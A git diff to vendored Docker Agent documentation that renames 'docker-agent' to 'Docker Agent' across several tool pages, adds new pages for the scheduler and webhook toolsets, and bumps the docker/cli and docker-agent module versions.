release may not appear in the next. +- **Catalog membership changes between releases.** The set of available servers is updated with each Docker Agent release as integrations are added or removed. Servers present in one release may not appear in the next. - **Blocking enable.** DNS, TCP, MCP handshake and any OAuth flow happen synchronously inside `enable_remote_mcp_server` so the agent gets a deterministic result in the same turn. On startup, however, the runtime probes tools non-interactively (`mcp.WithoutInteractivePrompts`); OAuth-pending servers fail fast there and are silently deferred to the next interactive turn — including the sidebar-only tool-count pass, where a dialog would be impossible. - **No prompt discovery.** MCP prompt lookups (`/prompts`) walk YAML-declared `mcp` toolsets directly; prompts exposed by servers activated through the catalog are not surfaced. Tools — the primary interface — work fine. -- **Frozen at build time.** The list of servers is embedded in the binary. New entries land with each docker-agent release. +- **Frozen at build time.** The list of servers is embedded in the binary. New entries land with each Docker Agent release. > [!TIP] > **Pair with permissions** diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/mcp/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/mcp/index.md index 0b60da519391..b1acb0cca7ea 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/mcp/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/mcp/index.md @@ -76,11 +76,11 @@ toolsets: > [!TIP] > **Auto-installation** > -> If the `command` is not in your `PATH`, docker-agent looks it up in the [aqua registry](https://github.com/aquaproj/aqua-registry) and installs it for you. Use `version: "false"` to opt out, or set `DOCKER_AGENT_AUTO_INSTALL=false` globally. See [Auto-Installing Tools](../../configuration/tools/index.md#auto-installing-tools). +> If the `command` is not in your `PATH`, Docker Agent looks it up in the [aqua registry](https://github.com/aquaproj/aqua-registry) and installs it for you. Use `version: "false"` to opt out, or set `DOCKER_AGENT_AUTO_INSTALL=false` globally. See [Auto-Installing Tools](../../configuration/tools/index.md#auto-installing-tools). ## Remote MCP (Streamable HTTP / SSE) -Connect to MCP servers over the network. OAuth flows (including [Dynamic Client Registration](https://datatracker.ietf.org/doc/html/rfc7591)) are handled automatically — docker-agent opens your browser when authentication is required and caches tokens for subsequent sessions. Tokens are refreshed silently when they expire or are revoked server-side; if a silent refresh is not possible, the OAuth prompt reappears on the next message. +Connect to MCP servers over the network. OAuth flows (including [Dynamic Client Registration](https://datatracker.ietf.org/doc/html/rfc7591)) are handled automatically — Docker Agent opens your browser when authentication is required and caches tokens for subsequent sessions. Tokens are refreshed silently when they expire or are revoked server-side; if a silent refresh is not possible, the OAuth prompt reappears on the next message. ```yaml toolsets: @@ -120,7 +120,7 @@ MCP servers can expose **prompts** — named, parameterized templates that the s - Each MCP prompt appears in the command palette (accessible via Ctrl+K) under the **MCP Prompts** category. - Typing `/` in the input box invokes the prompt immediately. - If the prompt declares arguments and you provide text after the slash command, that text is mapped to the first declared argument. -- If a required argument is missing, docker-agent opens the argument input dialog before running the prompt. +- If a required argument is missing, Docker Agent opens the argument input dialog before running the prompt. - When no argument is needed or all required arguments are supplied, the prompt runs immediately. > [!NOTE] @@ -239,7 +239,7 @@ See [Per-Toolset Model Routing](../../configuration/tools/index.md#per-toolset-m ### Lifecycle (auto-restart, profiles) -Local stdio and remote MCP servers are supervised: crashed servers reconnect automatically with exponential backoff. **Remote** MCP servers (Streamable HTTP / SSE) also reconnect after idle/clean connection closes — services like Notion and Linear periodically close idle connections, and docker-agent reconnects transparently. Tune the policy with the `lifecycle` block: +Local stdio and remote MCP servers are supervised: crashed servers reconnect automatically with exponential backoff. **Remote** MCP servers (Streamable HTTP / SSE) also reconnect after idle/clean connection closes — services like Notion and Linear periodically close idle connections, and Docker Agent reconnects transparently. Tune the policy with the `lifecycle` block: ```yaml toolsets: diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/open-url/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/open-url/index.md index bb07b93970f3..b2a97dd44b36 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/open-url/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/open-url/index.md @@ -14,7 +14,7 @@ _Open a fixed URL in the user's default browser._ The `open_url` toolset exposes a single, argument-less tool that opens a URL baked into the toolset definition in the user's default browser. The model never supplies the URL — it just calls the tool by name. Launching the browser -is cross-platform: docker-agent uses `open` on macOS, `xdg-open` on Linux, and +is cross-platform: Docker Agent uses `open` on macOS, `xdg-open` on Linux, and `rundll32` on Windows. > [!NOTE] @@ -88,7 +88,7 @@ toolsets: - The URL must include a scheme (e.g. `https://`); bare paths are rejected. - URLs that look like a command-line flag (starting with `-`) are refused to prevent argument injection into the platform `open` helper. -- The tool opens the URL on the **host** running docker-agent; in headless or +- The tool opens the URL on the **host** running Docker Agent; in headless or remote environments where no browser/launcher is available, the call fails gracefully and reports the error to the agent. diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/plan/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/plan/index.md index e1d15c8ce10d..23761d8a6a08 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/plan/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/plan/index.md @@ -13,7 +13,7 @@ _Shared persistent scratchpad for multi-agent collaboration._ The plan tool gives agents a shared, persistent scratchpad of named documents. Any agent in a multi-agent config that loads the `plan` toolset can read and write the same plans, and those plans survive across sessions. This makes it straightforward to wire a planner agent that sketches work and one or more executor agents that consume it without any custom tool wiring. -Plans are stored as JSON files in the docker-agent data directory (`~/.cagent/plans/` by default). All agents that share a process serialize on a single mutex so concurrent reads and writes are safe. Writes are atomic (temp file + rename), so a reader never observes partial content. +Plans are stored as JSON files in the Docker Agent data directory (`~/.cagent/plans/` by default). All agents that share a process serialize on a single mutex so concurrent reads and writes are safe. Writes are atomic (temp file + rename), so a reader never observes partial content. ## Configuration diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/rag/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/rag/index.md index f47dd070c61b..111ebfa606c4 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/rag/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/rag/index.md @@ -13,7 +13,7 @@ _Give your agents access to document knowledge bases with background indexing, m ## Overview -The `rag` toolset lets agents search through your documents to find relevant information before responding. Knowledge bases are declared once at the top of the config under `rag:` and then referenced from any agent via `type: rag, ref: `. docker-agent supports: +The `rag` toolset lets agents search through your documents to find relevant information before responding. Knowledge bases are declared once at the top of the config under `rag:` and then referenced from any agent via `type: rag, ref: `. Docker Agent supports: - **Background indexing** — Files are indexed automatically and re-indexed on change - **Multiple strategies** — Semantic embeddings, BM25 keyword search, and LLM-enhanced search @@ -182,7 +182,7 @@ $ docker agent run config.yaml --debug --log-file debug.log Look for log tags: `[RAG Manager]`, `[Chunked-Embeddings Strategy]`, `[BM25 Strategy]`, `[RRF Fusion]`, `[Reranker]`. -**Permanent model errors abort early.** If the embedding model, semantic-LLM model, or reranking model returns a permanent error (HTTP 400, 401, 404, or 429 — invalid config, bad auth, unknown model, or rate limit), docker-agent treats the model configuration as invalid and stops immediately rather than retrying doomed requests: +**Permanent model errors abort early.** If the embedding model, semantic-LLM model, or reranking model returns a permanent error (HTTP 400, 401, 404, or 429 — invalid config, bad auth, unknown model, or rate limit), Docker Agent treats the model configuration as invalid and stops immediately rather than retrying doomed requests: - **Indexing** — the entire indexing run is aborted after the first permanent failure (including 429). The error is surfaced in the logs so you know immediately if a model name or API key is wrong, rather than silently producing incomplete results. - **Reranking** — a permanent error (including 429) permanently disables the reranker for the lifetime of the manager. Subsequent queries fall back to un-reranked results. Only transient errors (5xx, timeouts) fall back and retry on the next query. diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/scheduler/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/scheduler/index.md new file mode 100644 index 000000000000..16635f7f77f2 --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/tools/scheduler/index.md @@ -0,0 +1,96 @@ +--- +title: "Scheduler Tool" +description: "Schedule instructions to run at a time or on a recurring interval." +keywords: docker agent, ai agents, tools, toolsets, scheduler tool, cron +linkTitle: "Scheduler" +weight: 135 +canonical: https://docs.docker.com/ai/docker-agent/tools/scheduler/ +--- + +_Schedule instructions to run at a time or on a recurring interval._ + +## Overview + +The scheduler toolset lets an agent make something happen at a chosen time or on a repeating cadence during a session. You give it an instruction and a schedule; when the schedule is due, the instruction is delivered back to the agent, which then carries out the action with its normal tools (`shell`, `api`, `fetch`, and so on). + +The scheduler does not run shell or API calls itself. When a schedule fires it injects the instruction into the agent loop via the runtime's recall mechanism — the same primitive [`background_jobs`](../background-jobs/index.md) uses to report completed work — and the agent decides how to act. This keeps every action under the agent's normal tools and permissions rather than adding a second, unattended +command runner. + +> [!NOTE] +> Schedules only fire while the session is running (interactive TUI or a server mode) and are not persisted across restarts. Scheduling requires a host that supports recall; if it does not, `create_schedule` returns an error. + +## Configuration + +```yaml +toolsets: + - type: scheduler +``` + +No configuration options. + +## Tools + +| Tool | Description | +| --- | --- | +| `create_schedule` | Register an instruction to run at a time or interval. | +| `list_schedules` | List active schedules with their id, spec, and next fire time. | +| `cancel_schedule` | Remove a schedule by id. | + +### `create_schedule` + +| Parameter | Required | Description | +| --- | --- | --- | +| `prompt` | Yes | The instruction to deliver to the agent when the schedule fires. | +| `when` | Yes | When to fire (see [Schedule specs](#schedule-specs)). | +| `name` | No | Optional human-readable label. | + +Returns the new schedule's id and its next fire time. + +### `cancel_schedule` + +| Parameter | Required | Description | +| --- | --- | --- | +| `id` | Yes | The id of the schedule to cancel (from `create_schedule` or `list_schedules`). | + +## Schedule specs + +The `when` argument accepts: + +| Form | Meaning | Example | +| --- | --- | --- | +| `in:` | One-shot, after a delay | `in:10m` | +| `at:` | One-shot, at an absolute future time | `at:2026-07-14T09:00:00Z` | +| `every:` | Recurring, at a fixed interval | `every:1h` | +| `minutely` / `hourly` / `daily` / `weekly` | Recurring preset intervals | `hourly` | + +Durations use Go's duration syntax (`30s`, `15m`, `2h`). Preset and `every:` intervals are measured from the schedule's creation time (for example `hourly` fires every hour after it is created), not aligned to wall-clock slots. + +> [!IMPORTANT] +> **Recurring schedules have a one-minute minimum.** Every fire injects a message into the agent loop and typically costs an LLM turn, so `every:` values below `1m` are rejected — a typo such as `every:1s` in place of `every:1h` would otherwise become a runaway token burn. One-shot schedules (`in:` / `at:`) are not restricted, since they fire once. + +## Example + +```yaml +agents: + root: + model: openai/gpt-5-mini + description: A monitoring assistant + instruction: | + Every 15 minutes, run `git fetch` and tell me if origin/main moved. + toolsets: + - type: scheduler + - type: shell +``` + +The agent calls: + +```text +create_schedule(prompt="Run git fetch and report if origin/main moved", when="every:15m") +``` + +Every 15 minutes it is reminded, runs the command with the `shell` tool, and reports back. + +> [!TIP] +> **When to use** +> +> Use the scheduler for recurring monitoring, timed one-shots, and unattended housekeeping loops during a long-running session. For work that should run immediately and be awaited, use [`background_jobs`](../background-jobs/index.md) instead. diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/shell/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/shell/index.md index 2921f629c103..bcac1b9d8adb 100644 --- a/_vendor/github.com/docker/docker-agent/docs/tools/shell/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/tools/shell/index.md @@ -111,4 +111,4 @@ The shell toolset exposes one tool: > [!NOTE] > **Tool Confirmation** > -> By default, docker-agent asks for user confirmation before executing shell commands. Use `--yolo` to auto-approve all tool calls. +> By default, Docker Agent asks for user confirmation before executing shell commands. Use `--yolo` to auto-approve all tool calls. diff --git a/_vendor/github.com/docker/docker-agent/docs/tools/webhook/index.md b/_vendor/github.com/docker/docker-agent/docs/tools/webhook/index.md new file mode 100644 index 000000000000..ded710754192 --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/tools/webhook/index.md @@ -0,0 +1,143 @@ +--- +title: "Webhook Tool" +description: "Reliable outbound notifications to Slack, Discord, Telegram, IFTTT, and more." +keywords: docker agent, ai agents, tools, toolsets, webhook, slack, discord, telegram, ifttt, notifications +linkTitle: "Webhook" +weight: 145 +canonical: https://docs.docker.com/ai/docker-agent/tools/webhook/ +--- + +_Reliable outbound notifications to Slack, Discord, Telegram, IFTTT, and more._ + +## Overview + +The webhook toolset delivers a notification to a destination **you configure**. The +agent supplies only the message text: it never sees or chooses the URL, because a +webhook URL is itself a credential (Slack and Mattermost embed a secret path, +Discord a token, IFTTT a key, Telegram a bot token). + +This is not a general HTTP client — that is the [`api`](../api/index.md) toolset. +The webhook toolset owns *delivery*: + +- **At-least-once delivery.** Transient failures (`429`, `5xx`, network errors) are + retried with exponential backoff, honouring the server's `Retry-After`. A `4xx` + is permanent and fails immediately without wasting retries. +- **Non-blocking.** The call returns as soon as the notification is queued, so a + slow or retrying endpoint never stalls the agent's turn. The agent is messaged + back **only if delivery ultimately fails**. +- **Storm protection.** An identical message to the same destination inside a short + window is suppressed, and notifications are rate limited, so a looping agent + cannot flood a channel. +- **Provider-shaped payloads.** Each service's wire format is applied for you. + +## Configuration + +The destination lives in `webhook_config`. Use `${env.VAR}` for anything secret — +values are expanded at call time and never stored in the config file. + +```yaml +toolsets: + - type: webhook + webhook_config: + provider: slack + url: ${env.SLACK_WEBHOOK_URL} +``` + +| Field | Required | Description | +| --- | --- | --- | +| `url` | Yes | Webhook endpoint. Usually embeds a secret — prefer `${env.VAR}`. | +| `provider` | No | Payload shape (default `generic`). | +| `headers` | No | Extra headers, for endpoints authenticating with a token. | +| `chat_id` | No | Destination chat — required for `provider: telegram`. | + +`timeout` on the toolset (seconds) overrides the per-request HTTP timeout. + +## Providers + +| Provider | Payload sent | Where the secret lives | +| --- | --- | --- | +| `slack`, `mattermost`, `rocketchat`, `googlechat`, `teams`, `generic` | `{"text": message}` | secret webhook URL | +| `discord` | `{"content": message}` | token in the webhook URL | +| `ifttt` | `{"value1": message, "value2": …, "value3": …}` | key in the webhook URL | +| `telegram` | `{"chat_id": …, "text": message}` | bot token in the URL, plus `chat_id` | + +Aliases are accepted: `msteams`/`microsoft_teams` → `teams`, `google_chat`/`gchat` +→ `googlechat`, `rocket.chat` → `rocketchat`. + +### Per-service examples + +```yaml +# Slack / Mattermost / Rocket.Chat — the URL is the credential +toolsets: + - type: webhook + webhook_config: + provider: slack + url: ${env.SLACK_WEBHOOK_URL} +``` + +```yaml +# Discord — the token is part of the webhook URL +toolsets: + - type: webhook + webhook_config: + provider: discord + url: ${env.DISCORD_WEBHOOK_URL} +``` + +```yaml +# Telegram — bot token in the URL, chat_id selects the destination chat +toolsets: + - type: webhook + webhook_config: + provider: telegram + url: https://api.telegram.org/bot${env.TELEGRAM_BOT_TOKEN}/sendMessage + chat_id: "123456789" +``` + +```yaml +# IFTTT — the key is part of the trigger URL +toolsets: + - type: webhook + webhook_config: + provider: ifttt + url: https://maker.ifttt.com/trigger/build_failed/with/key/${env.IFTTT_KEY} +``` + +```yaml +# Generic endpoint authenticating with a bearer token +toolsets: + - type: webhook + webhook_config: + provider: generic + url: https://alerts.example.com/notify + headers: + Authorization: Bearer ${env.ALERTS_TOKEN} +``` + +## `send_webhook` + +| Parameter | Required | Description | +| --- | --- | --- | +| `message` | Yes | The message text to deliver. | +| `value2`, `value3` | No | Extra IFTTT data fields (`provider: ifttt`). | + +Returns immediately once queued. On success nothing further happens; if delivery +ultimately fails, the agent receives a message saying so. + +## Example + +```yaml +agents: + root: + model: openai/gpt-5-mini + instruction: If a check fails, notify the team with send_webhook. + toolsets: + - type: webhook + webhook_config: + provider: slack + url: ${env.SLACK_WEBHOOK_URL} +``` + +> [!NOTE] +> Requests to non-public addresses are refused (the SSRF-safe HTTP client), and the +> configured URL is never echoed back to the model or into error messages. diff --git a/_vendor/modules.txt b/_vendor/modules.txt index 8403425740b0..6e9fb8473bc6 100644 --- a/_vendor/modules.txt +++ b/_vendor/modules.txt @@ -1,7 +1,7 @@ # github.com/moby/moby/api v1.55.0 # github.com/moby/buildkit v0.31.0 # github.com/docker/buildx v0.35.0 -# github.com/docker/cli v29.6.1+incompatible +# github.com/docker/cli v29.6.2+incompatible # github.com/docker/compose/v5 v5.3.0 # github.com/docker/model-runner v1.1.36 -# github.com/docker/docker-agent v1.110.0 +# github.com/docker/docker-agent v1.113.0 diff --git a/go.mod b/go.mod index d0382531ba66..e61c291edd11 100644 --- a/go.mod +++ b/go.mod @@ -9,9 +9,9 @@ go 1.26.5 // Make sure to add an entry in the "tools" section when adding a new repository. require ( github.com/docker/buildx v0.35.0 - github.com/docker/cli v29.6.1+incompatible + github.com/docker/cli v29.6.2+incompatible github.com/docker/compose/v5 v5.3.0 - github.com/docker/docker-agent v1.110.0 + github.com/docker/docker-agent v1.113.0 github.com/docker/model-runner v1.1.36 github.com/moby/buildkit v0.31.0 github.com/moby/moby/api v1.55.0 diff --git a/go.sum b/go.sum index b946e47850ce..e8ad0b84fade 100644 --- a/go.sum +++ b/go.sum @@ -108,6 +108,8 @@ github.com/docker/cli v29.6.0+incompatible h1:nw9himxMMZ7eIeherJNlKQq+acnlzGgHd+ github.com/docker/cli v29.6.0+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= github.com/docker/cli v29.6.1+incompatible h1:oO7F4nn3Ovr/5TlfTUWFbMwBSS/B7Xs6Epv26gBrUP8= github.com/docker/cli v29.6.1+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= +github.com/docker/cli v29.6.2+incompatible h1:/bjePvcbbFTnRrMfWJBY7AjfICdsiLVgHn6LwTVOcqw= +github.com/docker/cli v29.6.2+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= github.com/docker/compose/v5 v5.0.0 h1:J2uMCzJ/5xLcoIVVXvMmPe6HBzVQpmJThKa7Qk7Xldc= github.com/docker/compose/v5 v5.0.0/go.mod h1:BurapGv8zmYnsbSmlpCz5EU2Pi3YFV/PjeUnoFpcw64= github.com/docker/compose/v5 v5.0.1 h1:5yCjDJbwUqcuI+6WNFHNWz2/3vyBDsNnfe8LlFjyxEc= @@ -132,6 +134,8 @@ github.com/docker/docker-agent v1.103.0 h1:hmS2u0fU4MMyUnXrjJlhcfjpBUzkBEBM9/Drm github.com/docker/docker-agent v1.103.0/go.mod h1:KUYwjuxrs2N3BBrAQ6CMNPVQxOfoZoLUYpbxyGTM02w= github.com/docker/docker-agent v1.110.0 h1:B5LJRkEvIk1WLojMR09gD6ZAD2hD43SIRSbjKs+yyc4= github.com/docker/docker-agent v1.110.0/go.mod h1:TcrFxPYbc9SL0ouAcb/YwwjePfS0ULYkzfTJkvDUfzY= +github.com/docker/docker-agent v1.113.0 h1:jmqPNqqhRwaMFkNWJIUXm6EWLZnCPvECWmBcQ8JvgLo= +github.com/docker/docker-agent v1.113.0/go.mod h1:TGKvTjniS9KALZvkuvpxk4XqPE8vwp4rfUhFLo1vx1U= github.com/docker/docker-credential-helpers v0.9.3 h1:gAm/VtF9wgqJMoxzT3Gj5p4AqIjCBS4wrsOh9yRqcz8= github.com/docker/docker-credential-helpers v0.9.3/go.mod h1:x+4Gbw9aGmChi3qTLZj8Dfn0TD20M/fuWy0E5+WDeCo= github.com/docker/docker-credential-helpers v0.9.5 h1:EFNN8DHvaiK8zVqFA2DT6BjXE0GzfLOZ38ggPTKePkY=